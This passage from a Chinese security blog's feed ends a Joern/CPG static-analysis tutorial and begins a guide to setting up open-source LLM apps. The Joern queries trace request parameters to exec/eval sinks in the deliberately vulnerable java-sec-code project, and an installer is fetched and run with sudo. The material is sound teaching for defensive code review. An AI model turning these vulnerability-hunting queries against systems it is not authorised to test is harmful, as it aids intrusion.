target="_blank" rel="noopener">https://cpg.joern.io/</a></li><li><a href="https://github.com/ShiftLeftSecurity/codepropertygraph" target="_blank" rel="noopener">https://github.com/ShiftLeftSecurity/codepropertygraph</a></li></ul><p>在介绍CPG之前，首先要先对图结构有个基础的概念，无论是图数据库又或者是图结构其实说白了就是把<strong>节点以及节点之间的关系以图的方式展示出来</strong>。就比如下图表明A和B就是朋友，B和C也是朋友。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430982.png" alt="img"></p><p>换到代码中说白了就是通过<strong>图的方式展示代码中不同节点之间的关系</strong>，而这个节点可能是代码块，可能是函数块，可能是变量块，他们之间会<strong>通过边的属性来展示节点之间的关系</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430247.png" alt="img"></p><p>而代码在编译执行前会经过几个复杂的步骤，在经过<strong>最简单的词法分析和语法分析</strong>，代码就会被转为<strong>AST(abstract syntax trees)</strong>也就是抽象语法树，这也是普遍会用到的通用结构，因为从AST开始不同语言的差异就是就很小了，也会有非常标准的结构。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430840.png" alt="img"></p><p>AST则是一个经典的树结构，这算是数据结构当中非常经典的一个，<strong>通过遍历树结构我们就能得到更底层的某种结构</strong>，比如IR就是这类结构的一种，这种结构会具有<strong>更强的执行顺序</strong>，相应的也会模糊掉一些语法。</p><p>而<strong>CFG(**</strong>control flow graphs<strong>**)是一种更强调执行流的结构</strong>，节点和节点之间只有调用关系，而且会有<strong>比较强的代码执行顺序</strong>，<strong>边上会展示执行相应的条件</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430933.png" alt="img"></p><p>而另一个比较有用但是比较少见的就是<strong>PDG(**</strong>program dependence graphs<strong>**)</strong>，PDF也是一种图关系，<strong>通过图来展示代码节点之间的依赖关系，他更强调的是节点和节点之间的关系</strong>，节点之间的边会<strong>展示数据节点的影响关系</strong>，所以图结构会更复杂，但会更易于寻找节点之间的关系。</p><p>下面这张图就是一张PDG，上面的两个对于x和y的定义会单向影响后续节点的变化，这种联动关系很清晰，这就是PDG的优势。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430602.png" alt="img"></p><p>但<strong>无论是AST、CFG、PDG或者是IR等数据结构</strong>，又或者是某个原创的中间结构，他们的目标都是一致的，就是<strong>用更通用的方式解释代码</strong>，这整体可以算作编译原理的前端。它本质上没有实际的区别，无非就是哪种通用结构被拿来做代码分析。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430169.png" alt="img"></p><p><strong>而CPG在这个环境下主体由AST、CFG、PDG多种结构融合而来</strong>，我觉得它最大的特点就是利用了<strong>图结构庞大的信息容纳能力</strong>（毕竟图本身并不是二维的，图结构可以很复杂），可以保证我们在代码分析中遇到任何情况都可以在CPG中找到相应的答案和场景。这是图结构相比其他中间结构解决方案难以比拟的优势。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430003.png" alt="img"></p><h1 id="joern做了什么？"><a href="#joern做了什么？" class="headerlink" title="joern做了什么？"></a>joern做了什么？</h1><p>而joern作为一个白盒的代码分析工具，主要做了两部分。</p><p>第一部分是<strong>实现了一种方案来比较通用的代码转CPG</strong>，他的原理也很简单，用已经有的某个组件来实现语义分析部分，然后把不同的AST转成统一的AST，最终转成目标CPG。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431754.png" alt="img"></p><p>而第二部分就是，<strong>在已有的CPG基础上，实现了一套查询语法，类似CodeQL</strong>，这种，允许通过这种语法来构造不同的查询逻辑实现最终的目标</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&gt; def source = cpg.identifier.typeFullName(".*HttpServletRequest.*")</span><br><span class="line">&gt; def sink = cpg.call("exec|eval").argument</span><br><span class="line">&gt; sink.reachableBy(source)</span><br></pre></td></tr></table></figure><p>拿上面这段代码举例子就是，<strong>寻找java当中的代码执行漏洞范围，通过简单的指定source和sink就能实现漏洞挖掘，中间的步骤被封装起来</strong>。</p><p>它同样支持你<strong>使用复杂的Scala脚本进行代码的扫描和处理</strong>。通过Scala可以实现更复杂的查询和数据流分析。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431666.png" alt="img"></p><p>相比其他的某个白盒工具来说，joern的优势有一点儿非常特例，这点在CodeQL中也有很强烈的体现，就是<strong>大部分的白盒扫描工具对于底层的包裹非常严密</strong>，很多工具你只能简单的拿来扫描漏洞。</p><p>一方面你无法清楚的知道，<strong>从这次扫描中你做了什么事情得到了什么东西，甚至无法知道这些漏洞是怎么被扫描或者是没有被扫描到。</strong></p><p>另一方面，如果你的目标并不是单纯的扫描漏洞，而是<strong>想要通过工具辅助分析代码，比如想知道某个函数如何访问到，这种问题大概率没有答案。</strong></p><p>如果对Joern的设计理念感兴趣，可以看看设计者写的文章</p><ul><li><a href="https://blog.shiftleft.io/semantic-code-property-graphs-and-security-profiles-b3b5933517c1" target="_blank" rel="noopener">https://blog.shiftleft.io/semantic-code-property-graphs-and-security-profiles-b3b5933517c1</a></li></ul><p>或者看看设计师的PPT</p><ul><li><a href="https://github.com/joernio/workshops/blob/master/2021-RSA/RSA-LAB2-R08.pdf" target="_blank" rel="noopener">https://github.com/joernio/workshops/blob/master/2021-RSA/RSA-LAB2-R08.pdf</a></li></ul><h1 id="使用joern"><a href="#使用joern" class="headerlink" title="使用joern"></a>使用joern</h1><p>根据<strong>官网的文档</strong>，我们可以快捷的安装joern环境</p><ul><li><a href="https://github.com/joernio/joern" target="_blank" rel="noopener">https://github.com/joernio/joern</a></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">wget https://github.com/joernio/joern/releases/latest/download/joern-install.sh</span><br><span class="line">chmod +x ./joern-install.sh</span><br><span class="line">sudo ./joern-install.sh</span><br><span class="line">joern</span><br><span class="line"></span><br><span class="line">     ██╗ ██████╗ ███████╗██████╗ ███╗   ██╗</span><br><span class="line">     ██║██╔═══██╗██╔════╝██╔══██╗████╗  ██║</span><br><span class="line">     ██║██║   ██║█████╗  ██████╔╝██╔██╗ ██║</span><br><span class="line">██   ██║██║   ██║██╔══╝  ██╔══██╗██║╚██╗██║</span><br><span class="line">╚█████╔╝╚██████╔╝███████╗██║  ██║██║ ╚████║</span><br><span class="line"> ╚════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝</span><br><span class="line">Version: <span class="number">2.0</span><span class="number">.1</span></span><br><span class="line">Type `help` to begin</span><br><span class="line"></span><br><span class="line">joern&gt;</span><br></pre></td></tr></table></figure><p>windows也可以用同样的方式安装，当然你需要有能跑sh的环境和wget/curl。</p><p>如果需要做joern做二次开发，还<strong>需要下载idea的scala插件</strong></p><ul><li><a href="https://plugins.jetbrains.com/plugin/1347-scala/versions/stable" target="_blank" rel="noopener">https://plugins.jetbrains.com/plugin/1347-scala/versions/stable</a></li></ul><p>joern的使用方法算是比较简单但是怎么用就要看需求了，可以多关注官网提供的很多查询语句帮助理解</p><ul><li><a href="https://queries.joern.io/" target="_blank" rel="noopener">https://queries.joern.io/</a></li></ul><p>这里我们下一个java-sec-code作为范例代码</p><ul><li><a href="https://github.com/JoyChou93/java-sec-code" target="_blank" rel="noopener">https://github.com/JoyChou93/java-sec-code</a></li></ul><p>导入到joern的方式也很简单</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431373.png" alt="img"></p><p>在运行代码的时候joern也给出了提示，<strong>如果想要扫描特别大的项目，建议把前端的cpg转化过程拆分出去。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javasrc2cpg.bat -J-Xmx8092m ../../java-sec-code/ --output D:\program\joern\joern-cli\workspace\java-sec-code\cpg.bin.zip</span><br></pre></td></tr></table></figure><p>然后在打开joern后将刚才生成的cpg导入进来</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">importCpg(<span class="string">"path/to/cpg"</span>)</span><br></pre></td></tr></table></figure><p>但其实这个转化CPG的过程不会太慢，因为<strong>Joern为了优化这个速度，是把转化和连接这两部分拆开做的</strong>，换句话说，就是第一步只是把代码转成了CPG，而其中节点之间的关系并不会在转化过程中连接，而是在语句查询过程中完成，这大大节省了扫描所需的时间。</p><p>这里转化的CPG会存在workspace里，用workspace命令可以看到之前转过的所有cpg。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431257.png" alt="img"></p><p>你可以用open(“java-sec-code”)来激活对应的项目</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211451236.png" alt="img"></p><p>这里最终生成的<strong>cpg变量就是代码的CPG</strong>，所有的代码数据都会存在这个变量，比如cpg.metaData就是基础元数据，一般来说后面会加个.l，<strong>这个l就是tolist，结果会转成list格式</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431883.png" alt="img"></p><p>比较重要的一点是，joern的shell模式<strong>为了易用性是优化了tab的</strong>，如果不知道命令可以多tab补全命令，会有一个实时的补全，很实用。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431533.png" alt="img"></p><p><strong>通过method可以获取cpg中的所有方法</strong>，并获取节点的详细信息。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.take(<span class="number">1</span>).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431786.png" alt="img"></p><p>信息太多，你还可以<strong>构造返回的map结构</strong>，比如行号，方法名，对应的代码。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.map(n=&gt;List(n.lineNumber, n.name, n.code)).take(1).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431839.png" alt="img"></p><p>查询<strong>调用了getRequestBody的方法</strong>，并获取文件名、行数、方法名</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.name("getRequestBody").caller.map(n=&gt;List(n.filename, n.lineNumber, n.fullName, n.code)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431699.png" alt="img"></p><p>这里第一行就表示，<strong>在XStreamRce.java这个文件的23行调用了getRequestBody这个函数</strong>。当然这里我们仅仅找到了一个入口，想要确定这是否可能是个问题，还需要<strong>追这个入口(source)是否可以通往敏感函数点</strong>，那我们就需要对数据流做分析了。</p><p>首先我们需要知道<strong>如何访问到调用了getRequestBody的方法</strong>，由于这是个SpiringBoot项目，所以可以从<strong>@RequestMapping的注解</strong>入手，先查询出所有的web入口。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.where(_.annotation.name(".*Mapping")).map(n=&gt;(n.name, n.annotation.code.l)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431902.png" alt="img"></p><p>然后我们可以<strong>在@RequestMapping的节点</strong>和<strong>调用getRequestBody的方法节点</strong>中间寻找路径，在Joern它提供了两个方案</p><ul><li><strong>正向搜索</strong>，从每一个RequestMapping的节点向下搜索寻找有没有调用getRequestBody方法的节点</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.where(_.annotation.name(<span class="string">".*Mapping"</span>)).repeat(_.callee)(_.until(_.name(<span class="string">"getRequestBody"</span>))).l</span><br></pre></td></tr></table></figure><ul><li><strong>反向搜索</strong>，从调用getRequestBody方法的节点向上搜索寻找@RequestMapping的注解</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.name(<span class="string">"getRequestBody"</span>).repeat(_.caller)(_.until(_.annotation.name(<span class="string">".*Mapping"</span>))).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431515.png" alt="img"></p><p><strong>关于正向搜索和反向搜索的优劣其实没有特别简单的优劣性</strong>，最简单的一个方式是<strong>从少的节点往多的节点找</strong>，这是最简单的也最不容易浪费资源，只需要执行少的节点数量次数即可。</p><p>这里使用的语法是<strong>repeat…until…</strong>语法，大意是一直<strong>向上寻找调用上级/下级</strong>，<strong>直到满足某个条件为止</strong>。</p><p>上面的语法只是显示了满足条件的节点，但<strong>真正到漏洞挖掘中</strong>，我们必须<strong>在source和sink中找到数据流</strong>才行，当然在Joern中这个也给了非常简单的基础使用方法，也就是<strong>reachableBy</strong>。</p><p>这里用一个比较简单的例子，是java-sec-code最简单的rce例子</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431412.png" alt="img"></p><p>首先我们<strong>指定exec调用点为sink</strong>，然后照例<strong>指定含有Mapping注解的方法参数为source</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter</span><br><span class="line"></span><br><span class="line">def sink = cpg.call.name("exec")</span><br></pre></td></tr></table></figure><p>然后直接<strong>用reachableBy来做数据流分析</strong>获取</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sink.reachableByFlows(source).p</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431684.png" alt="img"></p><p>可以看到这里已经找到了刚才那条数据流。</p><p>当然静态分析远不止这么简单，<strong>是否有效，是否被过滤都是问题</strong>，而且数据流当中也会有复杂的问题变化，而joern在这方面是提供了<strong>sc脚本的方案来构建复杂的查询逻辑</strong>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./joern --script test.sc --params cpgFile=/src.path.zip,outFile=output.log</span><br></pre></td></tr></table></figure><p>这部分的内容后面再讲</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;从人们开始探索代码扫描这件事情开始，市面上就在不断地诞生着各种各样的工具，经过了几年的演变以及发展，对于&lt;strong&gt;白盒代码扫描&lt;/strong&gt;这件事情来说，大家的观念也在逐渐趋同。&lt;/p&gt;
&lt;p&gt;无论是基于&lt;strong&gt;IR(Intermediate Representation)&lt;/strong&gt;、&lt;strong&gt;AST(abstract syntax trees)&lt;/strong&gt;、&lt;strong&gt;CFG(control flow graphs)&lt;/strong&gt;、&lt;strong&gt;PFG(program dependence graphs)&lt;/strong&gt;，又或者是其他的什么中间态。白盒代码扫描工具都在这个基础上做&lt;strong&gt;模拟执行、污点传播&lt;/strong&gt;等等方案来分析挖掘漏洞。&lt;/p&gt;
&lt;p&gt;而随着&lt;strong&gt;CodeQL的概念&lt;/strong&gt;逐渐被大家接受之后，现在的代码扫描工具越来越趋近于将&lt;strong&gt;底层和上层拆解开来&lt;/strong&gt;，由底层的引擎将代码统一化处理，然后使用者在上层通过编写规则或者语句就可以。主流的&lt;strong&gt;CodeQL、Checkmarx&lt;/strong&gt;其实都使用了类似的方案。今天要说的&lt;strong&gt;Joern&lt;/strong&gt;也是如此。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;今天介绍的Joern有什么特殊的呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先CodeQL本身不开源只能使用，偏偏微软还做了商业化限制，以微软喜欢秋后算账的风格来讲，实在无法确定深入研究CodeQL是否值得。&lt;/p&gt;
&lt;p&gt;除此之外，市面上的很多白盒扫描工具其实是&lt;strong&gt;非静态的&lt;/strong&gt;，扫描的时候不但需要配置复杂的运行环境，而且&lt;strong&gt;本身可能依赖编译过程&lt;/strong&gt;，无论是自己使用还是商业化这都非常不实用。&lt;/p&gt;
&lt;p&gt;个人认为白盒工具有着几个很重要的点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;静态扫描&lt;/strong&gt;，&lt;strong&gt;静态扫描的优势和便利程度&lt;/strong&gt;才是白盒比较优势的一环，毕竟白盒不是灰盒，如果对编译环境和运行环境有依赖那为什么不使用更准确的灰盒&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;扫描速度&lt;/strong&gt;，虽然这点是很多商业化白盒软件的通病，但无论在哪家公司的DevSecOps中，最终目标肯定是把安全检测加载上线前，那么无论是1分钟、3分钟还是5分钟，&lt;strong&gt;扫描速度会是第一优先级&lt;/strong&gt;，比如CheckMarx动辄几小时的扫描肯定是不现实的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可diy性&lt;/strong&gt;，当然对于大部分人来说这点其实并不是很重要，但能对引擎进行深入改造会是优化开发非常重要的一点，&lt;strong&gt;joern是开源的&lt;/strong&gt;，在这方面他有很大的优势&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可拓展性&lt;/strong&gt;，市面上大部分的白盒扫描工具动辄支持几十种语言，比如说snoarqube这种，但实际上大部分拓展语言只支持非常简单的正则拓展，&lt;strong&gt;我一直觉得现代白盒软件很重要的一条路就是走通用性&lt;/strong&gt;，这也是比较有名的一些白盒工具都选择的路，在白盒扫描过程中会刻意将统一结构拆分出去再做分析扫描。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;今天介绍的joern的其实就是这类工具的一员，他最大的特点其实就是开源。&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
    <category term="cpg" scheme="https://lorexxar.cn/tags/cpg/"/>
    
  </entry>
  
  <entry>
    <title>打造自己的AIGC应用（一）入门篇</title>
    <link href="https://lorexxar.cn/2023/07/19/aigc1/"/>
    <id>https://lorexxar.cn/2023/07/19/aigc1/</id>
    <published>2023-07-19T10:18:59.000Z</published>
    <updated>2023-07-19T10:23:01.000Z</updated>
    
    <content type="html"><![CDATA[<p>其实细数AI的发展历程非常之久，而让AI的应用一下子出现在人们眼前的其实就是<strong>ChatGPT的出现</strong>，这意味着AIGC应用已经从概念为王变的非常实用了。伴随着ChatGPT的出现，大量的开源大模型也如雨后春笋一样出现。就现在而言，<strong>打造一个自己的AIGC应用已经非常简单了</strong>。</p><a id="more"></a><h1 id="基础环境"><a href="#基础环境" class="headerlink" title="基础环境"></a>基础环境</h1><p>我们需要配置一个环境</p><ul><li><strong>python3.8+，不要太新</strong></li><li><strong>CUDA+环境</strong></li><li><strong>pytorch</strong></li><li><strong>支持C++17的编译器</strong></li></ul><p>首先我比较推荐你配置一个<strong>anaconda</strong>的环境，因为pytorch的其他安装方法真的很麻烦</p><ul><li><a href="https://www.anaconda.com/distribution/#download-section" target="_blank" rel="noopener">https://www.anaconda.com/distribution/#download-section</a></li></ul><p>然后你需要安装CUDA的环境，正常来说只需要下载<strong>对应的CUDA版本</strong>即可</p><ul><li><a href="https://developer.nvidia.com/cuda-downloads" target="_blank" rel="noopener">https://developer.nvidia.com/cuda-downloads</a></li></ul><p>然后就是安装<strong>pytorch</strong>的环境，这个环境比较麻烦，正常来说<strong>通过conda来安装</strong>是比较靠谱的办法，当然有些时候就是安不了。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822387.png" alt="img"></p><p>如果安装不成功，就只能用源码来编译了。</p><ul><li><a href="https://github.com/pytorch/pytorch#from-source" target="_blank" rel="noopener">https://github.com/pytorch/pytorch#from-source</a></li></ul><p>首先，clone一下源码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">git clone --recursive https://github.com/pytorch/pytorch</span><br><span class="line">cd pytorch</span><br><span class="line"><span class="comment"># if you are updating an existing checkout</span></span><br><span class="line">git submodule sync</span><br><span class="line">git submodule update --init --recursive</span><br></pre></td></tr></table></figure><p>然后安装一下对应的各种依赖</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">conda install cmake ninja</span><br><span class="line"><span class="comment"># Run this command from the PyTorch directory after cloning the source code using the “Get the PyTorch Source“ section below</span></span><br><span class="line">pip install -r requirements.txt</span><br><span class="line"></span><br><span class="line">conda install mkl mkl-include</span><br><span class="line"><span class="comment"># Add these packages if torch.distributed is needed.</span></span><br><span class="line"><span class="comment"># Distributed package support on Windows is a prototype feature and is subject to changes.</span></span><br><span class="line">conda install -c conda-forge libuv=<span class="number">1.39</span></span><br></pre></td></tr></table></figure><p>然后<strong>windows的源码编译有点儿复杂</strong>，具体要参考各种情况下的编译</p><ul><li><a href="https://github.com/pytorch/pytorch#install-pytorch" target="_blank" rel="noopener">https://github.com/pytorch/pytorch#install-pytorch</a></li></ul><p>在编译这个<strong>pytorch</strong>这个东西的时候我遇到过贼多问题，其中大部分问题我都搜不到解决方案，最终找到的最靠谱的方案是，<strong>不能用太低或者太高版本的python</strong>，会好解决很多，最终我选择了用3.10版本的python，解决了大部分的问题。</p><p>另外就是如果gpu不是很好或者显存不是很高，也可以<strong>使用cpu版本</strong>，大部分电脑的内存都会比较大，起码能跑起来。</p><p><strong>如果是windows</strong>，那一定会用到<strong>huggingface</strong>，有个东西我建议一定要注意下。</p><p>默认的huggingface和pytorch的缓存文件夹是在～/.cache/下，是在c盘下面，而一般LLM的模型文件都贼大，很容易把C盘塞满，这个注意要改下。</p><p><strong>在环境变量里加入**</strong>HF_HOME和TORCH_HOME ，设<strong>**置为指定变量即可。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822422.png" alt="img"></p><p>除此之外，有的项目也会提供<strong>docker化的部署方案</strong>，如果采用这种方案，就必须在宿主机安装<strong>NVIDIA Container Toolkit</strong>，并重启docker</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install -y nvidia-container-toolkit-base</span><br><span class="line">sudo systemctl daemon-reload </span><br><span class="line">sudo systemctl restart docker</span><br></pre></td></tr></table></figure><h1 id="进阶构成"><a href="#进阶构成" class="headerlink" title="进阶构成"></a>进阶构成</h1><h2 id="LLM"><a href="#LLM" class="headerlink" title="LLM"></a>LLM</h2><p><strong>LLM全称**</strong>Large Language Model<strong>，大语言模型，是以ChatGPT为代表的ai对话核心模块，相比我们无法控制、训练的ChatGPT，也逐渐在出现大量的开源大语言模型，尤其是以</strong>ChatGLM、LLaMA**为代表的轻量级语言模型相当好用。</p><p>虽然<strong>这些开源语言模型相比ChatGPT差距巨大</strong>，但深度垂直领域的ai应用也在逐渐被人们所认可。与其说我们想要在开源世界寻找ChatGPT的代替品，不如说这些开源大语言模型的出现，意味着我们有能力打造自己的GPT。</p><ul><li><strong>ChatGLM-6B</strong></li><li><a href="https://github.com/THUDM/ChatGLM-6B" target="_blank" rel="noopener">https://github.com/THUDM/ChatGLM-6B</a></li><li><strong>ChatGLM2-6B</strong></li><li><a href="https://github.com/THUDM/ChatGLM2-6B" target="_blank" rel="noopener">https://github.com/THUDM/ChatGLM2-6B</a></li></ul><p>目前中文领域效果最好，也是应用最多的开源底座模型。大部分的<strong>中文GPT二次开发几乎都是在这个模型的基础上做的开发</strong>，尤其是2代之后进一步拓展了基座模型的上下文长度。最厉害的是它允许商用。</p><ul><li><strong>Moss</strong></li><li><a href="https://github.com/OpenLMLab/MOSS" target="_blank" rel="noopener">https://github.com/OpenLMLab/MOSS</a></li></ul><p><strong>MOSS是一个支持中英双语和多种插件的开源对话语言模型</strong>，moss-moon系列模型具有160亿参数，在FP16精度下可在单张A100/A800或两张3090显卡运行，在INT4/8精度下可在单张3090显卡运行。MOSS基座语言模型在约七千亿中英文以及代码单词上预训练得到，后续经过对话指令微调、插件增强学习和人类偏好训练具备多轮对话能力及使用多种插件的能力。</p><ul><li><strong>ChatRWKV</strong></li><li><a href="https://github.com/BlinkDL/ChatRWKV" target="_blank" rel="noopener">https://github.com/BlinkDL/ChatRWKV</a></li></ul><p><strong>一系列基于RWKV架构的Chat模型（包括英文和中文）</strong>，发布了包括Raven，Novel-ChnEng，Novel-Ch与Novel-ChnEng-ChnPro等模型，可以直接闲聊及进行诗歌，小说等创作，包括7B和14B等规模的模型。</p><p>LLM的基座模型说实话有点儿多，尤其是在最开始的几个开源之后，后面各种LLM基座就像雨后春笋一样出现了，<strong>比较可惜的是目前的的开源模型距离ChatGPT的差距非常之大，大部分的模型只能达到GPT3的级别，距离GPT3.5都有几个量级的差距，更别提GPT4了。</strong></p><ul><li><a href="https://github.com/HqWu-HITCS/Awesome-Chinese-LLM" target="_blank" rel="noopener">https://github.com/HqWu-HITCS/Awesome-Chinese-LLM</a></li><li><a href="https://github.com/chenking2020/FindTheChatGPTer" target="_blank" rel="noopener">https://github.com/chenking2020/FindTheChatGPTer</a></li></ul><p>给大家看一个通过<strong>一些标准排名出来的LLM排行榜，这个说法比较多，一般就是看样本集的覆盖程度。</strong></p><ul><li><a href="https://github.com/CLUEbenchmark/SuperCLUElyb" target="_blank" rel="noopener"><strong>https://github.com/CLUEbenchmark/SuperCLUElyb</strong></a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822932.png" alt="img"></p><h2 id="Embedding"><a href="#Embedding" class="headerlink" title="Embedding"></a>Embedding</h2><p>Embedding 模型也是GPT的很重要一环，在之前的文章里曾经提到过。由于GPT的只能依赖对话的模式受限于上下文的长度。</p><p>所以也就衍生出了不少的开源Embedding模型</p><ul><li><a href="https://huggingface.co/GanymedeNil/text2vec-large-chinese" target="_blank" rel="noopener">https://huggingface.co/GanymedeNil/text2vec-large-chinese</a></li><li><a href="https://huggingface.co/shibing624/text2vec-base-chinese" target="_blank" rel="noopener">https://huggingface.co/shibing624/text2vec-base-chinese</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822989.png" alt="img"></p><h2 id="gradio"><a href="#gradio" class="headerlink" title="gradio"></a>gradio</h2><p><strong>gradio是一个非常有名的机器学习用于数据演示的web框架。</strong>通过gradio可以快速的构建一个可以实时交互的web界面。有点儿像flask</p><ul><li><a href="https://github.com/gradio-app/gradio" target="_blank" rel="noopener">https://github.com/gradio-app/gradio</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822258.png" alt="img"></p><p>首先要注意gradio最起码<strong>python在3.8版本以上</strong>.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> gradio <span class="keyword">as</span> gr</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">greet</span><span class="params">(name)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">"Hello "</span> + name + <span class="string">"!"</span></span><br><span class="line"></span><br><span class="line">demo = gr.Interface(fn=greet, inputs=<span class="string">"text"</span>, outputs=<span class="string">"text"</span>)</span><br><span class="line">    </span><br><span class="line">demo.launch()</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822400.png" alt="img"></p><p>gradio支持非常多这类的常用场景，就比如<strong>文本、勾选框、输入条，甚至文件上传、图片上传</strong>，都有非常不错的原生支持。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822513.png" alt="img"></p><h2 id="FastChat"><a href="#FastChat" class="headerlink" title="FastChat"></a>FastChat</h2><p><strong>FastChat是一个在LLM基础上构筑的一体化平台</strong>，FastChat是基于<strong>LLaMA</strong>做的二次调参训练。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip3 install fschat</span><br></pre></td></tr></table></figure><p>正常使用需要用机器生成<strong>Vicuna</strong>模型，将LLaMa weights合并Vicuna weights。而这个过程需要<strong>大量的内存和CPU</strong>，官方给出的参考数据是</p><ul><li>Vicuna-7B：30 GB of CPU RAM</li><li>Vicuna-13B：60 GB of CPU 